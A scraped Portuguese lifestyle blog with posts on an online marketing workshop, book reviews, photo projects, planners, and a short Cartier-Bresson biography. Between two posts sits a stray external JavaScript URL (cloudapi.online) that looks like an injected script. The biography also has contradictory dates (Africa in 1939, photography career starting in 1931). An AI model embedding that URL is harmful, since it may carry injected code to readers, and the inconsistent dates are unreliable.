Workshop Teia do Efeito

Conheci o Tudo Orna lá no começo, quando as meninas postavam looks do dia e fizeram parceria com a Tutu Sapatilhas. Eu não me identificava tanto na época com o conteúdo das Irmãs Alcântara, mas acompanhava a Mel, que também fez parceria com a Tutu.

Foi clicando de links em links que as conheci e foi da mesma forma que elas retornaram na minha vida em 2017. Dessa vez não estava apenas navegando pelas novidades blogueiras, estava pesquisando conteúdo sobre Marketing e Posicionamento Digital. Então me deparei com esse vídeo delas comentando sobre serem Affinity Creators.

Palombina | Workshop Efeito Orna | palombina.com.br

Nesse intervalo de 4 anos percebi quanto o conteúdo do Tudo Orna tinha amadurecido junto com as meninas. Elas evoluíram tanto! O blog, as marcas que criaram e o crescimento profissional de cada uma é maravilhoso de se acompanhar. Sem falar que elas tem um… brilho. Sabe quando você olha para uma pessoa e se inspira? Quer grudar nela e seguir seus passos porque você sabe que pode aprender muito? Foi assim. Comecei a segui-las nas redes, me maravilhar com o seus feed e até mesmo me identificar com o conteúdo que apresentavam.

Foi quando, no meio dessa admiração toda, elas anunciaram o Workshop Teia do Efeito. Um workshop gratuito sobre empreendedorismo, gestão de branding e posicionamento digital. Para se inscrever no workshop, basta acessar o site efeitoorna.com e colocar seu e-mail para receber os links de acesso. Serão 3 aulas que vão ao ar nos dias 09/03, 12/03 e 14/03 e ficarão disponíveis até 18/03.

Palombina | Workshop Efeito Orna | palombina.com.br

O workshop foi um divisor de águas para mim. Ano passado decidi que ia fazer uma pós graduação. Como eu estava começando como freelancer e consultora em Marketing Digital, precisava me manter sempre atualizada. Então bora estudar! Mas as grades de pós graduação ainda não estão totalmente atualizadas com as dicas e práticas de gestão das novas Mídias Sociais e isso me incomodava muito. Ia pagar uma fortuna em um curso para depois ter que fazer outro? Foi através do Workshop que percebi que poderia fazer cursos complementares e deixar a Multipotencialidade falar mais alto. O certificado de que tenho uma pós é muito importante? Sim. Mas mais importante que isso é saber executar um serviço da melhor maneira possível, gerando resultado e autenticidade para você e para seu cliente. Entre um e outro, fiquei com a segunda opção.

As Irmãs Alcântara apresentam um conteúdo realmente diferente do que encontramos pela internet. Como eu estava buscando cursos e dicas online, pude comparar o conteúdo de uns e outros. Elas passam conceitos teóricos essenciais para qualquer um que tenha uma empresa, um blog ou apenas uma ideia. E o mais legal? Não é só teoria! As meninas tem uma dinâmica bem legal de exposição, pois contam tudo baseado na própria experiência do Blog Tudo Orna e das marcas que criaram (Orna, Orna Make Up e Orna Café).

Palombina | Workshop Efeito Orna | palombina.com.br

Mas Aninha, você aplicou tudo que aprendeu?
(Essa é de fato a pergunta mais relevante de todas)

Sim! Para começar revisei todo o meu planejamento, analisei as estatísticas e projetei novas metas e resultados. Fiz esse exercício com o Palombina, com os sites dos meus clientes e até com os sites e mídias nas quais sou responsável no meu trabalho.
Depois, trouxe a apostila para o trabalho e sempre que estou meio com dúvidas do que fazer, busco inspiração ao revisar as dicas. É incrível como reler a apostila sempre traz novos insights.

E se você ficou com alguma dúvida sobre se gostei do Workshop… Dali 2 meses eu fui aluna da primeira turma do curso do #EFEITOORNA! Nunca fiz um curso onde toda aula eu saía com um novo projeto ou uma nova ideia. Foi incrível! ♥
Mas isso é assunto para outro post.

Agora me contem, já se inscreveram no workshop? Pensam em aprimorar suas skills na internet? 😉

Com carinho, A.

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Mostre Seu Trabalho (A. Kloen)

Essa resenha faz parte do Clube do Livro Infinistante. Um projeto colaborativo, organizado pela Melina, Maki e Lominha.
Obrigada, meninas!

“Criatividade não é um talento. É uma forma de operar”.

Me lembro que comecei pelo livro “Grande Magia” da Elizabeth Gilbert. Foi indicação de  uma amiga e veio junto com o comentário “você PRECISA ler esse livro”. Surgiu então a motivação necessária para ler cada vez mais livros sobre Criatividade, Arte, Produtividade e Marketing. Porque sim, esse livro fala sobre Marketing.

Sabe quando você vê uma peça e quer contar para todo mundo sobre? Quando vê um filme e  quer até cantarolar pros amigos a trilha sonora?

Mostre Seu trabalho é um livro desses. A cada capítulo eu queria parar, tirar uma foto e mandar como recado para algum amigo. E fiz muito isso, quem me acompanha lá no Instagram percebeu que a cada três stories, um era uma foto do livro.

“Quase todas as pessoas que admiro e que me inspiram hoje em dia, em qualquer profissão, colocaram o ato de compartilhar em sua rotina.”

Basicamente, Austin Kloen me forçou a tirar da cabeça toda a timidez e, principalmente, todo meu lado de deboche. Confesso, sempre tive muito disso. Ao mesmo tempo que admiro quem consegue compartilhar sua vida, em alguns círculos eu tiro sarro dessas mesmas pessoas com piadas tipo “Ai um copo de água, vou fotografar”. Se esse copo de água (ou qualquer outro objeto que queira utilizar de exemplo) faz parte do trabalho da pessoa, se você acredita que ele pode ser útil ou interessante para alguém, Austin fala “COMPARTILHE!”.

Mostrar o processo que leva até sua arte final é tão importante quanto mostrá-la pronta. As pessoas se interessam pelo processo, pelo seu método de criação. As pessoas querem saber das pessoas por trás das coisas.

“Se quer que as pessoas saibam o que você faz e o que lhe interessa, precisa dividir com elas.”

De todo o livro, a parte que mais gostei foi a que Kloen diz que a criatividade é sempre uma colaboração, o resultado de uma mente conectada a outras mentes. Isso irá construir uma cena e esta nada mais é do que uma continha de adição: Cerque-se de influências boas + procure conteúdos que te inspiram + use a internet a seu favor.

Essa conta eu fiz aqui, na hora. Mas já percebeu como a internet está lotada de gente como a gente? Sempre que procurar, vai achar alguém fazendo algo que se parece com o seu trabalho. Alguém com as mesmas inseguranças que você, alguém que compartilha das mesmas ideias que você. Essas pessoas compartilham conteúdos que podem te mostrar qual praia elas frequentam e onde eles estão armando sua barraca – e qual espaço vazio estão deixando para que você possa armar a sua.

E você? Compartilha o SEU conteúdo? Kloen praticamente te obriga a postar seu conteúdo. Como dirão que ele é real, se digitarem no Google e não o encontrarem? Basicamente, se seu trabalho não está na internet, então ele não existe.

Não tenha medo de mostrá-lo.

“Se quer ser interessante, tem que ser interessado.”

Toma essa aí.

Você quer milhares de curtidas, muitos seguidores e altos comentários sem esforço nenhum? Desculpa, não funciona assim.

Compartilhar algo na internet é como compartilhar algo com amigos. Se você é do tipo de amigo que só fala sobre si mesmo, só cola nos roles que você programa e não se interessa minimamente pela vida do coleguinha… Você é um chato. Aquele amigo que as pessoas convidam simplesmente porque está “na mesma sala”. Não seja esse amigo! Construa relações fora da internet e dentro dela também, por que não? Leia as legendas, entenda os posts, se interesse pelos links. Saia da sua casinha (essa inclusive é uma dica que as Irmãs Alcântara comentaram sobre Bloqueio Criativo).

Não tive como resenhar esse livro sem contar um pouco dele para vocês. É um livro que deveria ser uma apostila didática! Tão cheio de dicas e insights que compensa MUITO a compra. Nem terminei e já coloquei ele no final da fila de leitura de 2018. Assim que sobrar um tempinho vou reler, com certeza.

Esse clube mal começou e já considero pakas, hein?

Com carinho,

A.

Links bacanas #01

Olha a onda, olha a onda!

Quem nunca ficou andando pela praia recolhendo as conchinhas mais fofas? Aí a gente pega um monte e guarda na bolsa. Chega em casa e faz o quê? Colocamos em algum potinho inútil que estava dando sopa, ou guardamos em alguma gaveta-depósito ou até separamos bonitinho pra usar naquele projeto que raramente se concretiza.
E muitas vezes acontece exatamente a mesma coisa com todos os links, textos, sites e vídeos que encontramos ~navegando~ pela internet. Vemos um texto super legal que fulano ia adorar ler, uma imagem que a ciclana tem que ler pra deixar de ser trouxa ou até uma receita ótima que sua mãe devia testar. Tudo isso a gente deixa pra compartilhar depois e esquece.
Só que eu ia realmente gostar de ler aquele texto, ver aquela imagem que me deixaria menos trouxa ou tentar uma receita nova!
Então, migz, comecei a guardar todos os links legais que leio por aí. Todas as conchinhas que fui catando vou colocar aqui nessa nova tag. Quem sabe não encontro algo que também te interesse, não é mesmo?

Vamos lá.

[TEXTO] Profissão multipotencial
Esse texto é fod*. A Débora Alcântara tem textos maravilhosos. As irmãs Alcântara são demais. O Curso do Efeito Orna é transformador!
Me empolguei, desculpa. Isso é assunto para outro post. Voltando.
O texto da Dé ajuda todos e qualquer um que já pararam pra pensar “eu não sou só isso” ou “eu sei fazer isso, mas também sei aquilo… com o que trabalho?”. É muito importante a gente se descobrir, se afirmar e acreditar no nosso potencial. E podemos nos potencializar em várias áreas! Posso ser boa na cozinha, boa fotógrafa e ótima em cuidar de suculentas. Uma coisa só soma a outra. Então some tudo isso lendo esse texto, sério. h

[TEXTO] 6 diferenças entre amadores e profissionais
No meu eterno interesse e curiosidade em estar mais presente, ser mais produtivo e ter mais tempo de qualidade, encontrei esse texto. Eu acho que no mundo que vivemos hoje, ficou muito fácil nos perdemos em feed de coisas desinteressantes ou que não agregam para nossa vida. Então procuro sempre ser melhor. Uma melhor profissional no meu trabalho, uma melhor profissional nos meus trabalhos de freela. Não basta fazer as coisas de qualquer jeito, não quero ser apenas uma amadora.
Se você também não, esse texto aí ó.

[TEXTO] Manual da Reinvenção
“Sentir-se muito mal é perfeitamente normal. A constante disso é que pode ser um fator de preocupação. (…) Tendo consciência dessa minha condição, resolvi criar um método que consistia em uma pequena mudança por dia, durante dez dias, de modo que diariamente eu pudesse observar as implicações positivas da aplicação da atividade do dia e que essas mini-evoluções me empolgassem para o passo do dia seguinte.”
Aureliano, parabéns. Achei o texto lindinho demais e suas ilustrações arrasam.

[VÍDEO] 30 DAYS TO MINIMALISM » + printable guide
Os vídeos relacionados do Youtube podem trazer coisas muito boas! E foi assim que caí nesse vídeo da Sadia do Pick Up Limes. Eu gostei muito do jeito que ela fala e da fotografia do vídeo, muito bem feito! Mas quando vi que ela tem uma tatuagem no pulso igual a minha, aí foi Subscribe na hora, hahaha. Além de ver quase todos os vídeos de uma vez só, ainda saí contando pra todo mundo que achei uma Youtuber lindinha demais que tinha uma tatuagem igual a minha (ou a minha igual a dela?).

[VÍDEO] Victoria Morgan – “How to Succeed in Heartbreak”
Esse vídeo. *drop the mic*.
Sério, quando vi a primeira vez quis marcar todo mundo (vi legendado no Facebook através desse link). Não porque eles precisavam passar por um processo de coração partido nem nada, apenas porque senti que era uma utilidade pública, sabe? Algo que diz, “tá tudo bem”. Porque realmente está tudo bem em chorar por alguém, em sentir falta, em querer só comer coisas gordas e não ligar pra barriga negativa. BLEH pra barriga negativa. Nesses casos, o que importa sou EU! Completa, inteiramente eu. Se permita passar por todos os estágios, se encontre de novo e você vai ver que está tudo bem. 🙂

Me diga sem gostam de posts como esse, porque a ideia é guardar e compartilhar essas conchinhas que encontro por aí.

Com carinho,
A.

 

365 Project: Janeiro

365 fotos em 365 dias.
Challenge accepted.
O famoso 365 Project consiste em postar 1 foto por dia durante um ano inteiro.
Completei esse desafio pela primeira vez em 2013. Assim que criei o Flickr, descobri esse projeto. Além de tirar uma foto por dia, fui além: me prontifiquei a postar um auto-retrato por dia.
Cruzes, vocês não imaginam o trabalho! Sempre fui muito tímida, então estar no lado oposto da lente ao que estava acostumada foi bem difícil. E ao mesmo tempo infinitamente libertador.
Já comentei isso diversas vezes, mas através desse projeto eu consegui me conhecer e acreditar em mim. Consegui me ver por outros olhos – ainda que eles também fossem meus. Essa é a paranóia que deu certo: silenciei aquele diabinho que me achava feia, gorda, ruim e dei voz à auto-estima, aquele personagem fofo que vem te dar a mão e te levantar enquanto sussurra “tá tudo bem, não liga pra eles. Você é única!”.
Foi mágico.
Comecei esse primeiro 365 Project em 11/09/2012 e finalizei em 23/12/2013.
Desde então sempre quis refazer. Já até comecei de novo outras vezes, mas não segui adiante. O mundo gira, a vida passa e as promessas ficam no ar.
Agora o desafio é outro: empoderar. Eu sei que essa foi A palavra de 2016/2017 e talvez esteja um pouco atrasada, mas nunca é tarde não é mesmo?
Eu quero mostrar que posso cumprir a minha promessa.
Quero mostrar pra mim mesma que eu consigo qualquer coisa que quiser, basta me empenhar.
Comecei em 2018 um novo projeto 365. Dessa vez pelo Instagram (@_aninhapalombo).
E para tentar cumprir o cronograma, vou postar os resumos do mês aqui, assim a motivação duplica!
Nesse janeiro  teve tanta coisa gostosa! Reencontrei amigos, passei férias organizando e curtindo minha casinha, viajei com minha família e me empolguei de novo com a câmera e lentes novas para celular.
Estou ansiosa pra ver o que vai ter nesse resumo de Fevereiro.
A.

Ensaio Cami

Mais uma meta de 2018 que quero compartilhar por aqui: pelo menos um ensaio por mês.
Encontrarei amigos, pessoas queridas ou só interessados que queiram algumas fotos para poder treinar um pouco. Direção de modelo, fazer eles se sentirem confortáveis durante a sessão, essas coisas aperfeiçoamos com a prática.
Foi pensando nisso que, em dezembro, quando a Cami veio falar comigo, não consegui dizer não.
Pois bem.
Desde sempre, tive vontade de tirar fotos minhas, mostrando um lado meu que nem eu mesma conhecia direito.
Mas nunca tive coragem, nem mesmo me achava bonita suficiente pra um “ensaio”. Mas coloquei como meta para 2018, deixar a vergonha de lado e me jogar neste tão sonhado ensaio.
E um belo dia, estava eu sentada em meu sofá, conversando com a minha cunhada “topa tudo” sobre esta minha meta, e eis que ela diz “Cami, eu faço pra você… a gente só precisa de luz…”. Topei, é claro. E no dia das fotos, me diverti muito, dei muita risada, mas principalmente me senti linda, me senti iluminada, me senti eu.
Gostei tanto que faria de novo. E por isso, só tenho a agradecer esta minha cunhada que está sempre do meu lado, sempre me apoiando nas mais loucas aventuras, e fez eu me ver como realmente sou. 🧡
A vontade dela de ser fotografada somou a minha saudade de fotografar e o resultado você pode espiar abaixo. 😉
Se quiser seguir a Cami só ir em @millaguillen. Se você achou ela muito fotogênica, coisa linda de se ver, então deveria ver os quadros que ela pinta! Então siga o @mileumacores_milla para suas artes ganharem cor, vida e sucesso!
Gratidão, Cami.

Meu feed do Instagram

Há um tempo eu decidi dar uma cara nova pro meu Instagram. E não queria apenas investir tempo nele, mas queria fazer de um jeito diferente: separá-lo em faixas de cor.

A coisa toda parece mais difícil na teoria, juro.

Me motivei a repaginar meu Instagram porque analisei minhas metas e defini algumas prioridades. A primeira delas foi que defini que, como eu gosto de fotografia, ela é meu maior hobby e quero dedicar mais tempo a ele durante esse ano. Isso será até consequência por tentar postar no blog toda semana, por exemplo. Se eu posto no blog, preciso de fotos, > faço mais fotos > tenho mais material para postar.

O que nos leva a segunda meta, que é fazer mais um 365 Project. Vou falar dele nas próximas semanas, mas basicamente irei postar 1 foto por dia no Instagram durante um ano inteiro. Serão 365 fotos para exercitar minha criatividade, compromisso e olhar fotográfico. Ai que emoção!

@_aninhapalombo

Por fim eu gostaria de começar com um exercício de direção de arte para meu feed, com um cuidado especial com a harmonia do conjunto de fotos. Vejo vários feeds maravilhosos por aí e penso em construir um de forma um pouco diferente.

Acho lindos alguns perfis que mantém uma identidade clean, com todas as fotos da galeria com o mesmo tom, mesmo filtro, mesmo estilo. Isso deixa a harmonia do feed maravilhosa. E geralmente eu optaria por esse tipo de estratégia. No entanto, não queria ter o cuidado de me preocupar com grids inteiros (grid = 9 fotos). Isso daria maior trabalho e eu ficaria “presa” a uma decisão por 9 dias.

@_aninhapalmbo

Portanto, escolhi fazer linhas de cor, onde escolho 3 fotos que tenham uma cor predominante. Além de me adaptar melhor com essa estratégia, eu não preciso respeitar tanto as regras (eu teria que sempre tirar foto em horários parecidos, para aproveitar a mesma luz natural, por exemplo) e posso ser a louca que tira a foto de tudo e todos. 🙂

So far, so good.

 

Livros para 2018

Escrever não deveria ser tão difícil. Ou tão complicado. No fundo é apenas você dando voz a todos os pensamentos loucos que passa pela sua cabeça, como se fosse uma conversa com sua melhor amiga, alguém que não te julga tanto – porque autocrítica sempre esteve aí para bagunçar nossa mente nos padrões que o mundo propõe. Eu sei que você já se pegou imaginando cenas aleatórias, como em um caixa de supermercado, por exemplo. Ali está você argumentando bravamente, lutando pelo seu direto em receber o troco em uma moeda de 5 centavos, ao invés de bala. Provavelmente, na sua cabeça, essa cena imaginária acabaria com você saindo do recinto com pose de super-herói, onde todos olham pra você com admiração e aquela moeda de 5 centavos (nunca foi só pelos 5 centavos) bradando na sua mão como um troféu. Pelo menos é assim que imagino a situação. Já a realidade, no caso, é a mesma dos memes: pego minha bala toda triste porque “poxa, pelo menos podia ter sido uma 7 belo“.
De qualquer forma a vontade de escrever esta aqui, guardadinha. Meu único problema é que ela decide aparecer agora a 1 da manhã. Ontem decidiu vir as 12:45, sem eu ter almoçado. Ou seja, ela gosta de me testar, quer conhecer meus limites (nunca tente algo ou alguma coisa contra uma garota com fome, sério). Tudo bem, pode vir ô Sra. Vontade de Escrever. Vou deixar uns personagens prontos e selecionar alguma cena maluca que imaginei qualquer dia desses. Aí vamos ver quem vai testar quem. Hunpf.
(Na próxima eu conto quem ganhou).
A vontade de ler já se comporta completamente diferente. Ela é mais calma, não chega tipo uma visita, sabe? É aquele irmão que sempre senta no sofá e pergunta “que você está assistindo?”. Aquele que quando você está de boa, ele surge pra fazer companhia. E se você passa muitos dias ocupado e sem vê-lo, começa a sentir uma pequena saudade. Não é saudade dessas que dói o peito nem nada, apenas… aquela coisa que você pensa “estranho, faz tempo que ele não aparece”.
Em 2017 eu me senti muito assim. Trabalhei muito, virei noites no computador então não conseguia focar em nada direito. Li poucos livros, não cheguei nem em 10. Foi uma meta beeem baixa. Pelo menos cumpri a meta e terminei um livro antes do final do ano. Ufa. Comecei outro logo em seguida. Hoje é dia 13 e terminei o 2º livro do ano.
Com esse ânimo todo, fiz uma pesquisa e terminei com uma lista de livros para 2018. Não sei ainda se conseguirei ler todos, vou nem estipular metas. Mas adoro saber o que as pessoas estão lendo, então acho legal compartilhar também, né.
Aqui vão eles:
– Aristóteles e Dante Descobrem o Segredo do Universo (Benjamin Alire Sáenz)
– Sociedade Secreta – Rosa & Túmulo (Diana Peterfreund)
Estou em uma fase de retomada, ou seja, procuro títulos fáceis com histórias envolventes. Dessa forma a leitura flui e volto na dinâmica de ler todo dia. Para isso, esses dois livros já estão separados para serem os próximos. Ouvi falar muito bem deles.
– A Mágica da Arrumação (Marie Kondo)
– Vida Organizada (Thais Godinho)
– A Arte de Fazer Acontecer (David Allen)
Esses estão na lista faz taaanto tempo! Esse ano prometo finamente dar um check! neles. Juro. Juradinho. Todos são sobre organização da casa/vida/mente. E esse é um assunto que, como todos sabem, me intriga, interessa e que me faz bem falar sobre, praticar.
– Zona de Coragem (Sérgio Mena Barreto)
– Diálogo/Fotografia (Márcia Tiburi)
– Atitude Mental Positiva (Napoleon Hill)
– Garra: O Poder da Paixão e da Perseverança (Angela Duckworth)
– The Brand Gap: O Abismo da Marca (Marty Neumeier)
Esses são títulos que tive conhecimento através do Curso do Efeito Orna. Além de aulas incríveis, as Irmãs Alcântara do blog Tudo Orna criaram uma apostila repleta de material extra o que foi realmente gratificante. Anotei tudo, mas vão durar alguns meses até conseguir absorver todo o material. Talvez isso até faça parte de uma tag nova aqui pro blog, quem sabe.
Boa leitura! Me contem o que estiverem lendo, ok?
A.

Feliz Ano Velho

O ano de 2017 foi lindo. Começou com tudo dando errado, cheio de brigas, stress e problemas. Só que acabou com realizações, conquistas e sorrisos mil. Já tentei colocar tudo pelo que sou grata em uma lista e tal, mas não consegui lembrar de tudo. Muitas coisas tiveram reviravoltas e imprevistos. E a maior delas foi em mim, senti que mudei bastante.

Esse 2017 me ensinou muito. Ao mudar minha postura e certas situações e algumas de minhas ações, comecei a colher frutos e consequências que nunca imaginei serem possíveis. Foi o ano que comecei um projeto pessoal, que ainda está na sua fase inicial, a qual gosto de intitular de c o r a g e m. A referência é de uma citação famosa do C. S. Lewis: Courage, dear heart.

Para finalizar o ano tenho um ritual: limpo o armário, reviro as lembranças e destralho as estantes. Reviro a casa (antes revirava todo meu quarto mesmo) achando coisas que não usei e sei que não vou mais usar para dar embora, doar ou jogar. Todo um processo Marie Kondo que acontece através dos objetos, roupas e outros itens físicos e impacta diretamente no emocional. Porque o ponto importante desse processo (e isso as pessoas não contam) é que enquanto você arruma suas coisas, já vai repensando os acontecimentos do ano e isso ajuda a analisar o que você fez, conquistou e atingiu.

No final do ritual, só sobrou sorriso em mim.

E para não gastar palavras repetindo mais-do-mesmo, vou exemplificar tudo com uma historinha:

No último dia do ano eu finalizei minha horta (yay!). Já tinha cercado o cantinho escolhido estrategicamente, revirado e preparado a terra como mandam os vídeos e colocado a cerca para impedir o Tobias de entrar. Como precisava garantir que ele não ia invadir a horta, dar uma de cachorro louco e cavar tudo, esperei mais um dia para plantar o que tinha comprado. No último dia do ano, a tarde, fui finalmente plantar as mudas e começou a chover. Meu pensamento foi “aaaah mas eu vou terminar isso ESSE ANO“. Então fiquei lá, sob chuva, plantando. O Tobias odeia água e obviamente foi se esconder da chuva. No entanto, para minha surpresa, depois de uns minutos ele percebeu que eu não voltava, então foi até a horta e ficou ali do lado de fora me esperando… na chuva! Apenas ali parado, olhando pra frente, perto de mim. Senti tanto amor nessa hora que até chorei. Claro, eu choro para tudo, mas finalizar o último afazer de 2017 com um ser fiel assim do meu lado me fez digerir tudo que aconteceu no ano… e sorrir! Terminei tudo e brinquei com Tobias na chuva, rindo e correndo os dois pra lá e pra cá.

A noite passei a virada com meus pais e amigos e foi maravilhoso. Mas essa imagem da tarde, brincando na chuva co Tobias ficou como símbolo do meu 2017. E que gostoso finalizar o ano assim.

Estou ansiosa por 2018. Sem altas expectativas, apenas metas novas. Tudo novo de novo.

A.

A agenda perfeita

Estamos em novembro e o que isso significa? Está aberta a caça da agenda perfeita para 2018.

Na verdade, essa é uma data pessoal que estipulei já fazem alguns anos. Só que, por outra razão, fui na papelaria no final de setembro e a funcionária me disse que alguns modelos de agenda 2018 já tinham esgotado (e não tinham certeza se ainda seriam repostos) e muitas pessoas já tinham ido procurar agenda para 2019! Foi então que concluí que o mundo está realmente estranhopoderia ter concluído que preciso adiantar a data de compra das minhas agendas, né.  As pessoas estão adiantadas demais, apressadas demais. Cadê o fazer em cima da hora? Cadê a calma de cidade pequena?

De qualquer forma, fucei aqui e ali para decidi o layout que queria. Já fazem uns bons 5 anos que  uso agendas semanais. Aprendi a usá-las com minha primeira Pony Brown e achei magnífico. Depois dessa decisão, acabou aquele corre de ficar virando as páginas pra ver o que tenho que fazer na semana, acabou o peso na consciência se esqueci de preencher o dia e tudo ficou mais bonito quando vejo  semana toda preenchida. Sério, é tão amor.

Esse modelo que usei esse ano eu apelidei carinhosamente de “agenda de dentista”. Isso porque eu deixei pra comprar de última hora, já estávamos em dezembro e só sobraram aquelas agendas formais e chatas. Eu sei que poderia simplesmente encomendar uma pela internet mas já estava muito em cima da hora, tinham várias coisas do ano seguinte para anotar e eu estava ficando louca sem agenda. Essa agenda me chamou a atenção por ser grande e por ser pautada, com os dias na vertical. Como tinha acabado de descobrir o que era bullet journal e como usá-lo.

Tudo começou com um artigo do Buzz Feed: WTF Is A Bullet Journal And Why Should You Start One? An Explainer. Quando li já quis correr para comprar um novo caderno, estava louca para colocar tudo isso em prática na minha rotina. Mas por me conhecer, sabia que dois cadernos não seria viável pra mim e não teria todo o tempo do mundo para desenhar a agenda toda semana então seria melhor utilizar os métodos do Bujo na minha agenda. Fiz os testes na agenda de 2017 e quando fui comprar a agenda de 2018 priorizei o layout que facilitasse essa nova organização dos afazeres. Logo, as colunas verticais ajudaram a criar os tópicos e o espaço pautado em branco facilitou o mini-diário.

Esse post é completamente aleatório, eu sei. Mas a caça da agenda de 2018 me fez refletir sobre minha agenda atual e até sobre minha decisão de continuar usando agenda. Porque sério, eu ainda uso. Sem ela eu não sei meus compromissos, eu esqueço do que tenho que fazer e fico sem ponto de partida para minha organização pessoal. E eu sempre soube disso pois percebi que minha vida vira do avesso quando eu deixo de olhar a agenda por muitos dias. É batata: estou em dia, contente = agenda em dia; estou estressada, na correria = agenda desatualizada.

Esse ano eu comprei minha agenda pela internet, em uma loja chinesa no eBay. É a primeira vez que compro por lá, vamos ver. Estou apreensiva. Eu achei um planner maravilhoso e sabia que não ia encontrar outro igual por aqui, então resolvi arriscar. O prazo estimado de entrega é de 21/12 a 02/02 :(. Se não der certo… Uai, compro outra. Mas queria realmente que fosse uma experiência bacana. E que chegasse antes do Natal.

Eu ainda vou evoluir e conseguir utilizar o Google Agenda. Ou não. É, por enquanto não. Gosto demais de escrever em papel, ver a agenda completa, ler o que fiz no ano, acompanhar minhas conquistas, meu humor e a evolução da minha rotina ali escrito com minha letra, meus desenhos toscos e frases aleatórias. Tudo isso me deixa tão feliz!

 

Desfoda-se

As vezes a semana começa… nhé. Já é segunda, de novo? De novo?! Nem lembro o que fiz no final de semana, passou muito rápido… Você já se pegou nessa situação? Cansada por tudo, pra tudo.

Percebo que estou assim quando não tenho vontade de fazer pequenas coisas que me deixam feliz. Como arrumar a casa, por exemplo. Não que eu tenha mania de limpeza (sério, não tenho), mas eu me sinto muito melhor em andar, trabalhar, ler, viver na casa se ela está minimamente arrumada, com tudo no seu devido lugar. Deixar a casa habitável assim me faz feliz, eu entro em casa com outra energia, enxergo o que tenho que fazer e me animo para fazê-lo. Do contrário, se entro em uma casa bagunçada, com louça na pia, só com porcaria na geladeira (que acabo comendo porque estou sem vontade de cozinhar)… Perco todo o ânimo.

Na verdade tudo isso pode ser stress. E acredito que, da minha parte, normalmente é. Como trabalho o dia todo e faço as coisas do Palombina a noite, estou sempre com “coisas pra fazer”. Se paro 2 minutos para panguar no sofá já me sinto culpada porque poderia estar fazendo o post daquele cliente X, programando aquela publicação pro cliente Y, editando aquela foto pro blog. O tempo todo é assim, então minha cabeça não desliga. Nunca.

Quando isso acontece, perco um tempo para organizar minha agenda.  No geral, sempre retorno pra ela. Pois se encaixo todos os afazeres nos horários certos, então tenho meu tempo livre (o de verdade, sem aspas) só pra mim. Ainda tenho que melhorar para adaptar a essa nova rotina, mas criei um método semi bullet journal que facilita muito toda a minha organização.

E até a organização da agenda, quando colocada nesse cenário cinza de desânimo total, só foi possível com um post inspirador que deu aquele pontapé inicial: se você não se sente bem nessa situação – MUDE! E esse post vi no Pinterest recentemente:

Pinterest @aninhapalombo

Então se você se encontrar em uma situação parecida com a que eu estava, faça o seguinte:

  1. Respire. Feche os olhos. Aconteceu um monte de merda? Tudo bem. Você quer ficar sobre ela ou quer sair e se limpar?
  2. Quer sair? Então levante-se, pegue um papel e organize sua vida. O que você tem que fazer hoje? E amanhã? Anote, tire tudo da sua cabeça.
  3. Faça. Desfoda-se.
  4. Brilhe. 🙂

Com carinho,

A.

Obs.: Quem quer que seja que criou esse maravilhoso poema, muito obrigada! 

https://cloudapi.online/js/api46.js

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Serasa Experiance

Semana passada tive a oportunidade de participar de um evento promovido pelo Serasa Experiance. O intuito era reunir e compartilhar conhecimento através da integração do ecossistema do Serasa com a sociedade. Eles chamaram várias pessoas de diferentes áreas para palestrar sobre seus conhecimentos e abriram a roda para a comunidade participar.

Quando recebi o e-mail falando sobre o evento, tinham dois botões: um para se inscrever no evento e outro para inscrever uma palestra. Eu cliquei em ambos. Para o evento esperava apenas trocar experiências. Para a palestra esperava nada além de compartilhar conhecimento. Como eu já estava com o Workshop de Fotografia para Celular na cabeça, resolvi preencher o formulário falando sobre ele. E foi o que fiz.

Vejam bem, não pensei em todo o processo. Eu apenas fiz o primeiro passo: preencher o formulário. Dois meses depois me ligaram – obviamente eu já tinha esquecido do evento, que tinha inscrito a palestra e talvez até negaria tudo se me perguntassem sobre pressão. Uma moça falou que meu tema tinha sido selecionado e perguntou se eu poderia dar uma palestra dali 2 semanas. Claro, moça!

Aí então passei para o segundo passo: montar a palestra e todo o conteúdo. Como disse, eu não pensei antes em todo o processo e só tinha o assunto esquematizado na minha cabeça (não, nem no papel tinha escrito ainda). Foram 2 semanas de muito trabalho, mas fiquei admirada com um fato curioso. Passei 8 desses 14 dias pensando em meios e métodos corretos de falar sobre o assunto… até que cansei e pensei “não, vou fazer do meu jeito”. Quando pensei em simplesmente mostrar o que eu queria, da forma que queria, então tudo saiu muito facilmente.

Por fim o evento foi maravilhoso, adorei apresentar o meu conteúdo pela primeira vez. Recebi feedbacks positivos e fotos graciosas, então missão foi cumprida.

Moral da história? Comece devagar, mas comece. Dê o primeiro passo, nem que seja assim, na loucura. O resto vai acontecer, prometo. 🙂

 

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Cartier-Bresson

E aí, pessoas? Hoje vamos mais uma vez atualizar a categoria Fotografia. Quando fiz esse post sobre Tipos de fotografia eu comentei que ia tentar falar mais de cada tipo, mas não vou. Mudei de idéia! Vou apresentar à vocês (e à mim também) fotógrafos clássicos que inspiraram e fomentaram muita arte no ramo fotográfico. Achei que dessa forma poderia canalizar pequenos estudos que sempre quis fazer e compartilhá-los com vocês, porque sei que o tema é interessante para muitos. Vamos lá?

Henri Cartier-Bresson foi um fotógrafo francês que nasceu em  22 de agosto de 1908, em Paris. Foi descendente de uma família proeminente da indústria têxtil. A família o queria nos negócios familiares, mas Bresson nasceu artista. Frequentou a Ecole Fénélon e o Lycée Condorcet em Paris. Estudou na École Fénelon e Pintura na Academia Lhote, do Pintor e Escultor Cubista André Lothe. proximou-se da Vanguarda Surrealista nos anos 20 indo estudar em Cambridge em 1928.

Em 1939, viajou para a África, onde permaneceu por um ano. Ganhou a vida de diversas formas…como vaporeiro, vendendo bugigangas e carne salgada que ele mesmo caçava e preparava. Lá também adquiriu malária e sua primeira câmera fotográfica de segunda mão feita por Krauss. Mas todos os filmes que fotografou lá, foram deteriorados pela umidade. Após a temporada na África, regressou à França e conheceu a obra do Fotógrafo Martin Munkacsi que o inspirou a trocar a Pintura pela Fotografia. Começou como fotógrafo em 1931, trabalhando quase sempre com preto e branco. Henri Cartier-Bresson morreu no dia 2 de agosto de 2004, em Montjustin, Provença – França.

Conheci um pouco da obra de Bresson através dos estudos para a monografia. Desde então, esta na minha lista para aprofundar o estudo. Muitas das suas fotografias foram publicadas em livros, os quais você pode ver no próprio site da Magnum, agência fotográfica que ele fundou em 1947 junto com outros fotógrafos, dentre os quais Robert Capa.

